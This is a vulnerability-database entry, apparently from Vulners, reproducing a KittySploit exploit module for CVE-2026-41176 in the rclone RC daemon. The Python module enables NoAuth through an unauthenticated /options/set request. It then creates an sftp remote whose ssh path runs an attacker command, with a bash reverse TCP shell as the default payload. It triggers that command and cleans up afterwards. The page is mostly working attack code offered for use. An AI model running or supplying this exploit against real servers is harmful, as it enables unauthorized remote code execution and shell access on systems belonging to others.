Lucene search
+L

rclone RC NoAuth takeover RCE (CVE-2026-41176)

🗓️ 02 Dec 2026 07:18:03Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 9 Views

Unauthenticated RCE in rclone rcd via NoAuth option and malicious sftp ssh path.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-41176 — rclone rcd NoAuth option flip + sftp ssh RCE."""

from __future__ import annotations

import secrets
from urllib.parse import urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.rclone_rc import (
    config_create_sftp_ssh,
    config_delete,
    rc_post,
    server_version_from_header,
    set_rc_noauth,
    trigger_sftp,
    version_vulnerable_41176,
)


class Module(Exploit, Http_client):
    __info__ = {
        "name": "rclone RC NoAuth takeover RCE (CVE-2026-41176)",
        "description": (
            "POST /options/set {\"rc\":{\"NoAuth\":true}} on unauthenticated rclone rcd, "
            "then config/create sftp remote with malicious `ssh` binary path."
        ),
        "author": ["VulnCheck", "KittySploit Team"],
        "cve": ["CVE-2026-41176"],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": ["https://nvd.nist.gov/vuln/detail/CVE-2026-41176"],
        "tags": ["rclone", "rc", "rce", "unauth", "cve-2026-41176"],
        "agent": {
            "produces": ["rce"],
            "chain": {"suggested_followups": ["scanner/http/rclone_cve_2026_49980_detect"]},
        },
    }

    port = OptPort(5572, "rclone RC port", True)

    def _req(self, method: str, path: str, **kwargs):
        return self.http_request(method=method, path=path, **kwargs)

    def check(self):
        res = self._req("GET", "/", allow_redirects=False)
        if not res:
            return {"vulnerable": False, "reason": "No response", "confidence": "low"}
        srv = res.headers.get("Server", "")
        if "rclone" not in srv.lower():
            return {"vulnerable": False, "reason": "Server header is not rclone", "confidence": "medium"}
        ver = server_version_from_header(srv)
        if ver and version_vulnerable_41176(ver):
            return {"vulnerable": True, "reason": f"rclone {ver} in affected range", "confidence": "high"}
        return {"vulnerable": True, "reason": "rclone daemon detected", "confidence": "medium"}

    def run(self):
        cmd = (self.shell_from_payload() or "").strip()
        if not cmd:
            return False
        detached = f"({cmd}) >/dev/null 2>&1 </dev/null &"
        name = secrets.token_hex(4)
        target = str(getattr(self, "target", "") or "")
        host = urlparse(target).hostname if "://" in target else target.split(":")[0]
        host = host or "127.0.0.1"

        req = lambda m, p, **kw: self._req(m, p, **kw)
        try:
            if not set_rc_noauth(req, True):
                print_error("/options/set NoAuth failed (patched or global HTTP auth)")
                return False
            if rc_post(req, "/config/listremotes", "{}") != 200:
                print_error("Auth bypass did not stick")
                set_rc_noauth(req, False)
                return False
            config_create_sftp_ssh(req, name, host, detached)
            trigger_sftp(req, name)
            print_success("RC chain fired")
            return True
        finally:
            config_delete(req, name)
            set_rc_noauth(req, False)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Dec 2026 07:18Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
CVSS 49.2
EPSS0.32715
SSVC
9